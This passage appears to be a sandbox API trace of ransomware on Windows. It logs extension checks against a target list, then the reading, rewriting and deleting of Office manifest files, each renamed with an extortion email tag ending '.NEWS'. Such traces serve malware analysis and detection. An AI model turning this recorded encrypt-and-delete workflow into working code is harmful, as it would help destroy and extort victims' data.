lstrlenW (lpString=".7z") returned 3 [0072.632] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString=".dbf") returned 4 [0072.632] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString=".1cd") returned 4 [0072.632] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString=".jpg") returned 4 [0072.632] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString=".doc") returned 4 [0072.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString=".docx") returned 5 [0072.632] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.633] lstrlenW (lpString=".pdf") returned 4 [0072.633] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString=".xls") returned 4 [0072.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString=".xlsx") returned 5 [0072.633] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.633] lstrlenW (lpString=".ppt") returned 4 [0072.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.633] lstrlenW (lpString=".zip") returned 4 [0072.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.633] lstrlenW (lpString=".rar") returned 4 [0072.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString=".bz2") returned 4 [0072.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString=".7z") returned 3 [0072.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.633] lstrlenW (lpString=".dbf") returned 4 [0072.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.633] lstrlenW (lpString=".1cd") returned 4 [0072.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.633] lstrlenW (lpString=".jpg") returned 4 [0072.633] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.633] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.633] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0072.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.634] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0072.634] CloseHandle (hObject=0x344) returned 1 [0072.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.634] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.634] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.634] GetLastError () returned 0x0 [0072.634] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.636] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.637] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.637] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.637] SetEndOfFile (hFile=0x37c) returned 1 [0072.637] CloseHandle (hObject=0x37c) returned 1 [0072.638] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.638] SetEndOfFile (hFile=0x344) returned 1 [0072.639] CloseHandle (hObject=0x344) returned 1 [0072.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0072.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.639] lstrlenW (lpString=".doc") returned 4 [0072.639] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.639] lstrlenW (lpString=".docx") returned 5 [0072.639] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.639] lstrlenW (lpString=".pdf") returned 4 [0072.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".xls") returned 4 [0072.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".xlsx") returned 5 [0072.640] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.640] lstrlenW (lpString=".ppt") returned 4 [0072.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString=".zip") returned 4 [0072.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.640] lstrlenW (lpString=".rar") returned 4 [0072.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".bz2") returned 4 [0072.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".7z") returned 3 [0072.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString=".dbf") returned 4 [0072.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString=".1cd") returned 4 [0072.640] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString=".jpg") returned 4 [0072.640] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.640] lstrlenW (lpString=".doc") returned 4 [0072.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".docx") returned 5 [0072.640] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.640] lstrlenW (lpString=".pdf") returned 4 [0072.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".xls") returned 4 [0072.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.640] lstrlenW (lpString=".xlsx") returned 5 [0072.641] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.641] lstrlenW (lpString=".ppt") returned 4 [0072.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.641] lstrlenW (lpString=".zip") returned 4 [0072.641] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.641] lstrlenW (lpString=".rar") returned 4 [0072.641] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.641] lstrlenW (lpString=".bz2") returned 4 [0072.641] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.641] lstrlenW (lpString=".7z") returned 3 [0072.641] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.641] lstrlenW (lpString=".dbf") returned 4 [0072.641] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.641] lstrlenW (lpString=".1cd") returned 4 [0072.641] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0072.641] lstrlenW (lpString=".jpg") returned 4 [0072.641] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.641] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.641] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0072.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.641] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1450) returned 1 [0072.642] CloseHandle (hObject=0x344) returned 1 [0072.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.642] GetLastError () returned 0x0 [0072.642] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x5aa, lpOverlapped=0x0) returned 1 [0072.644] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0072.645] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.645] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.645] SetEndOfFile (hFile=0x37c) returned 1 [0072.645] CloseHandle (hObject=0x37c) returned 1 [0072.647] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.647] SetEndOfFile (hFile=0x344) returned 1 [0072.648] CloseHandle (hObject=0x344) returned 1 [0072.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0072.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.649] lstrlenW (lpString=".doc") returned 4 [0072.649] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString=".docx") returned 5 [0072.649] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.649] lstrlenW (lpString=".pdf") returned 4 [0072.649] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString=".xls") returned 4 [0072.649] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString=".xlsx") returned 5 [0072.649] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.649] lstrlenW (lpString=".ppt") returned 4 [0072.649] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".zip") returned 4 [0072.650] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.650] lstrlenW (lpString=".rar") returned 4 [0072.650] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".bz2") returned 4 [0072.650] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".7z") returned 3 [0072.650] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".dbf") returned 4 [0072.650] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".1cd") returned 4 [0072.650] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".jpg") returned 4 [0072.650] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".doc") returned 4 [0072.650] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".docx") returned 5 [0072.650] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.650] lstrlenW (lpString=".pdf") returned 4 [0072.650] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".xls") returned 4 [0072.650] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString=".xlsx") returned 5 [0072.650] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.650] lstrlenW (lpString=".ppt") returned 4 [0072.650] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.650] lstrlenW (lpString=".zip") returned 4 [0072.650] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.650] lstrlenW (lpString=".rar") returned 4 [0072.651] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString=".bz2") returned 4 [0072.651] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString=".7z") returned 3 [0072.651] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.651] lstrlenW (lpString=".dbf") returned 4 [0072.651] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.651] lstrlenW (lpString=".1cd") returned 4 [0072.651] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0072.651] lstrlenW (lpString=".jpg") returned 4 [0072.651] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.651] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.651] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0072.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.651] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0072.651] CloseHandle (hObject=0x344) returned 1 [0072.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.652] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.652] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.652] GetLastError () returned 0x0 [0072.652] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.654] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.654] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.655] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.655] SetEndOfFile (hFile=0x37c) returned 1 [0072.655] CloseHandle (hObject=0x37c) returned 1 [0072.656] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.656] SetEndOfFile (hFile=0x344) returned 1 [0072.657] CloseHandle (hObject=0x344) returned 1 [0072.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0072.657] lstrlenW (lpString="C:\\Program Files\\Microsoft 